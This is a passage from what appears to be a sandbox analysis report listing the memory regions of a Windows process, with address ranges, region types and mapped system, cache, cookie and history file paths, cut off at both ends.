0x1e70000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 4047 start_va = 0x1ef0000 end_va = 0x21befff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4048 start_va = 0x21c0000 end_va = 0x221bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shell32.dll.mui" filename = "\\Windows\\System32\\en-US\\shell32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\shell32.dll.mui") Region: id = 4049 start_va = 0x2220000 end_va = 0x2255fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4050 start_va = 0x2260000 end_va = 0x2267fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 4051 start_va = 0x2270000 end_va = 0x2295fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 4052 start_va = 0x22a0000 end_va = 0x22a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022a0000" filename = "" Region: id = 4053 start_va = 0x22b0000 end_va = 0x22b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4054 start_va = 0x22c0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 4055 start_va = 0x23c0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 4056 start_va = 0x23f0000 end_va = 0x23f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4057 start_va = 0x2400000 end_va = 0x2401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002400000" filename = "" Region: id = 4058 start_va = 0x2410000 end_va = 0x2414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "explorerframe.dll.mui" filename = "\\Windows\\System32\\en-US\\explorerframe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\explorerframe.dll.mui") Region: id = 4059 start_va = 0x2420000 end_va = 0x2423fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 4060 start_va = 0x2430000 end_va = 0x2433fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 4061 start_va = 0x2440000 end_va = 0x2441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 4062 start_va = 0x2450000 end_va = 0x245efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscui.cpl.mui" filename = "\\Windows\\System32\\en-US\\wscui.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\wscui.cpl.mui") Region: id = 4063 start_va = 0x2460000 end_va = 0x2461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002460000" filename = "" Region: id = 4064 start_va = 0x2470000 end_va = 0x2470fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hcproviders.dll.mui" filename = "\\Windows\\System32\\en-US\\hcproviders.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hcproviders.dll.mui") Region: id = 4065 start_va = 0x2480000 end_va = 0x2484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "actioncenter.dll.mui" filename = "\\Windows\\System32\\en-US\\ActionCenter.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\actioncenter.dll.mui") Region: id = 4066 start_va = 0x2490000 end_va = 0x2493fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "prnfldr.dll.mui" filename = "\\Windows\\System32\\en-US\\prnfldr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\prnfldr.dll.mui") Region: id = 4067 start_va = 0x24a0000 end_va = 0x24b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netshell.dll.mui" filename = "\\Windows\\System32\\en-US\\netshell.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netshell.dll.mui") Region: id = 4068 start_va = 0x24c0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 4069 start_va = 0x25c0000 end_va = 0x25c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 4070 start_va = 0x25d0000 end_va = 0x25d0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 4071 start_va = 0x25e0000 end_va = 0x25e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025e0000" filename = "" Region: id = 4072 start_va = 0x25f0000 end_va = 0x2609fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025f0000" filename = "" Region: id = 4073 start_va = 0x2610000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002610000" filename = "" Region: id = 4074 start_va = 0x2620000 end_va = 0x2620fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sndvolsso.dll.mui" filename = "\\Windows\\System32\\en-US\\sndvolsso.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sndvolsso.dll.mui") Region: id = 4075 start_va = 0x2630000 end_va = 0x2631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002630000" filename = "" Region: id = 4076 start_va = 0x2640000 end_va = 0x2641fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 4077 start_va = 0x2650000 end_va = 0x2650fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 4078 start_va = 0x2660000 end_va = 0x26dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 4079 start_va = 0x26e0000 end_va = 0x26e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 4080 start_va = 0x26f0000 end_va = 0x26f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 4081 start_va = 0x2700000 end_va = 0x2700fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alttab.dll.mui" filename = "\\Windows\\System32\\en-US\\AltTab.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\alttab.dll.mui") Region: id = 4082 start_va = 0x2710000 end_va = 0x2710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 4083 start_va = 0x2720000 end_va = 0x2720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 4084 start_va = 0x2730000 end_va = 0x2730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 4085 start_va = 0x2740000 end_va = 0x2741fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002740000" filename = "" Region: id = 4086 start_va = 0x2750000 end_va = 0x2754fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnidui.dll.mui" filename = "\\Windows\\System32\\en-US\\pnidui.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnidui.dll.mui") Region: id = 4087 start_va = 0x2760000 end_va = 0x2761fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002760000" filename = "" Region: id = 4088 start_va = 0x2770000 end_va = 0x2771fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002770000" filename = "" Region: id = 4089 start_va = 0x2780000 end_va = 0x2780fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 4090 start_va = 0x2790000 end_va = 0x2790fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 4091 start_va = 0x27a0000 end_va = 0x27affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 4092 start_va = 0x27b0000 end_va = 0x27b5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winmm.dll.mui" filename = "\\Windows\\System32\\en-US\\winmm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winmm.dll.mui") Region: id = 4093 start_va = 0x27c0000 end_va = 0x27c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027c0000" filename = "" Region: id = 4094 start_va = 0x27d0000 end_va = 0x27d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027d0000" filename = "" Region: id = 4095 start_va = 0x27e0000 end_va = 0x27e7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 4096 start_va = 0x27f0000 end_va = 0x27f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027f0000" filename = "" Region: id = 4097 start_va = 0x2800000 end_va = 0x2801fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002800000" filename = "" Region: id = 4098 start_va = 0x2810000 end_va = 0x2816fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "authui.dll.mui" filename = "\\Windows\\System32\\en-US\\authui.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\authui.dll.mui") Region: id = 4099 start_va = 0x2820000 end_va = 0x289ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 4100 start_va = 0x28a0000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 4101 start_va = 0x2920000 end_va = 0x2985fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 4102 start_va = 0x2990000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 4103 start_va = 0x2a10000 end_va = 0x2a10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 4104 start_va = 0x2a20000 end_va = 0x2a20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 4105 start_va = 0x2a30000 end_va = 0x2a30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 4106 start_va = 0x2a40000 end_va = 0x2a40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 4107 start_va = 0x2a50000 end_va = 0x2a50fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 4108 start_va = 0x2a60000 end_va = 0x2a60fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 4109 start_va = 0x2ac0000 end_va = 0x2ac0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4110 start_va = 0x2ad0000 end_va = 0x2ad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 4111 start_va = 0x2ae0000 end_va = 0x2ae0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 4112 start_va = 0x2af0000 end_va = 0x2b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 4113 start_va = 0x2b70000 end_va = 0x2b70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 4114 start_va = 0x2b80000 end_va = 0x2b80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 4115 start_va = 0x2b90000 end_va = 0x2b9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 4116 start_va = 0x2ba0000 end_va = 0x2ba1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ba0000" filename = "" Region: id = 4117 start_va = 0x2bb0000 end_va = 0x2c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 4118 start_va = 0x2c30000 end_va = 0x2c30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c30000" filename = "" Region: id = 4119 start_va = 0x2c40000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 4120 start_va = 0x2c50000 end_va = 0x2c50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 4121 start_va = 0x2c60000 end_va = 0x2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 4122 start_va = 0x2ce0000 end_va = 0x360ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 4123 start_va = 0x3610000 end_va = 0x3613fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4124 start_va = 0x3620000 end_va = 0x3620fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 4125 start_va = 0x3630000 end_va = 0x36affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 4126 start_va = 0x36b0000 end_va = 0x372ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 4127 start_va = 0x3730000 end_va = 0x3760fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 4128 start_va = 0x3770000 end_va = 0x3773fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4129 start_va = 0x3780000 end_va = 0x3780fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{82cb5ea4-a17b-4126-a4c7-e62dcc8f64aa}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{82CB5EA4-A17B-4126-A4C7-E62DCC8F64AA}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{82cb5ea4-a17b-4126-a4c7-e62dcc8f64aa}.2.ver0x0000000000000002.db") Region: id = 4130 start_va = 0x3790000 end_va = 0x3793fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4131 start_va = 0x37a0000 end_va = 0x37a0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{61b6b577-096a-4420-b6a4-6702456129cc}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{61B6B577-096A-4420-B6A4-6702456129CC}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{61b6b577-096a-4420-b6a4-6702456129cc}.2.ver0x0000000000000001.db") Region: id = 4132 start_va = 0x37c0000 end_va = 0x37c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000037c0000" filename = "" Region: id = 4133 start_va = 0x37d0000 end_va = 0x37d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 4134 start_va = 0x37e0000 end_va = 0x385ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037e0000" filename = "" Region: id = 4135 start_va = 0x3860000 end_va = 0x38a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003860000" filename = "" Region: id = 4136 start_va = 0x38b0000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 4137 start_va = 0x3900000 end_va = 0x3900fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 4138 start_va = 0x3910000 end_va = 0x3911fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 4139 start_va = 0x3920000 end_va = 0x3920fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 4140 start_va = 0x3930000 end_va = 0x3931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003930000" filename = "" Region: id = 4141 start_va = 0x3940000 end_va = 0x3941fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003940000" filename = "" Region: id = 4142 start_va = 0x3950000 end_va = 0x3950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003950000" filename = "" Region: id = 4143 start_va = 0x3960000 end_va = 0x3973fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012022080320220804\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012022080320220804\\index.dat") Region: id = 4144 start_va = 0x39e0000 end_va = 0x39e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000039e0000" filename = "" Region: id = 4145 start_va = 0x39f0000 end_va = 0x39f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 4146 start_va = 0x3a40000 end_va = 0x3abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a40000" filename = "" Region: id = 4147 start_va = 0x3ad0000 end_va = 0x3b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 4148 start_va = 0x3b90000 end_va = 0x3b90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 4149 start_va = 0x3c30000 end_va = 0x3c58fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 4150 start_va = 0x3c60000 end_va = 0x3cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 4151 start_va = 0x3d00000 end_va = 0x3d01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d00000" filename = "" Region: id = 4152 start_va = 0x3d10000 end_va = 0x3d16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 4153 start_va = 0x3d20000 end_va = 0x3d21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d20000" filename = "" Region: id = 4154 start_va = 0x3d30000 end_va = 0x3daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d30000" filename = "" Region: id = 4155 start_va = 0x3dd0000 end_va = 0x3e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003dd0000" filename = "" Region: id = 4156 start_va = 0x3e80000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e80000" filename = "" Region: id = 4157 start_va = 0x3f00000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 4158 start_va = 0x4100000 end_va = 0x4100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 4159 start_va = 0x4110000 end_va = 0x4110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 4160 start_va = 0x4120000 end_va = 0x412ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 4161 start_va = 0x4180000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 4162 start_va = 0x4200000 end_va = 0x4602fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 4163 start_va = 0x4650000 end_va = 0x46cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 4164 start_va = 0x46f0000 end_va = 0x46f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 4165 start_va = 0x4700000 end_va = 0x477ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 4166 start_va = 0x47a0000 end_va = 0x481ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047a0000" filename = "" Region: id = 4167 start_va = 0x4880000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 4168 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 4169 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 4170 start_va = 0x4b00000 end_va = 0x5e54fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 4171 start_va = 0x5ee0000 end_va = 0x5ee1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005ee0000" filename = "" Region: id = 4172 start_va = 0x5ef0000 end_va = 0x5ef0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005ef0000" filename = "" Region: id = 4173 start_va = 0x5f00000 end_va = 0x5f07fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "urlmon.dll.mui" filename = "\\Windows\\System32\\en-US\\urlmon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\urlmon.dll.mui") Region: id = 4174 start_va = 0x5f80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f80000" filename = "" Region: id = 4175 start_va = 0x5f90000 end_va = 0x600ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f90000" filename = "" Region: id = 4176 start_va = 0x6010000 end_va = 0x640ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006010000" filename = "" Region: id = 4177 start_va = 0x64c0000 end_va = 0x653ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000064c0000" filename = "" Region: id = 4178 start_va = 0x6540000 end_va = 0x663ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 4179 start_va = 0x6640000 end_va = 0x673ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 4180 start_va = 0x6890000 end_va = 0x6891fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006890000" filename = "" Region: id = 4181 start_va = 0x68c0000 end_va = 0x68c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "networkexplorer.dll.mui" filename = "\\Windows\\System32\\en-US\\NetworkExplorer.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\networkexplorer.dll.mui") Region: id = 4182 start_va = 0x68e0000 end_va = 0x68e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000068e0000" filename = "" Region: id = 4183 start_va = 0x68f0000 end_va = 0x68f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4184 start_va = 0x6900000 end_va = 0x697ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 4185 start_va = 0x6b80000 end_va = 0x6b80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\System32\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mpr.dll.mui") Region: id = 4186 start_va = 0x6b90000 end_va = 0x6b91fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stobject.dll.mui" filename = "\\Windows\\System32\\en-US\\stobject.dll.mui" (normalized: 